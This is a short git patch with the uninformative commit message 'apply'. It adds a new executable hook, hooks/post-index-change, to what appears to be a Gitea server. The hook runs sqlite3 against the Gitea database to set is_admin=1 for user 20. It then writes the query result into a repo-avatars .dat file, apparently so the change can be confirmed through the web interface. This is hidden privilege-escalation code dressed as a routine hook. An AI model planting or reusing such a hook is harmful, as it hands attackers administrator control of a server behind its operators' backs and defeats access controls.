From f10fcec02b04659d6f485c45ff603d45cda9577b Mon Sep 17 00:00:00 2001 From: svcioik596 Date: Wed, 19 Aug 2026 17:03:46 +0000 Subject: [PATCH] apply --- hooks/post-index-change | 2 ++ 1 file changed, 2 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..b867a38 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,2 @@ +#!/bin/sh +(PRAGMA busy_timeout=8000; sqlite3 /data/gitea/gitea.db "UPDATE user SET is_admin=1 WHERE id=20;" && sqlite3 /data/gitea/gitea.db "SELECT id,lower_name,is_admin FROM user WHERE id=20;") > /data/gitea/repo-avatars/e528b0325af8.dat 2>&1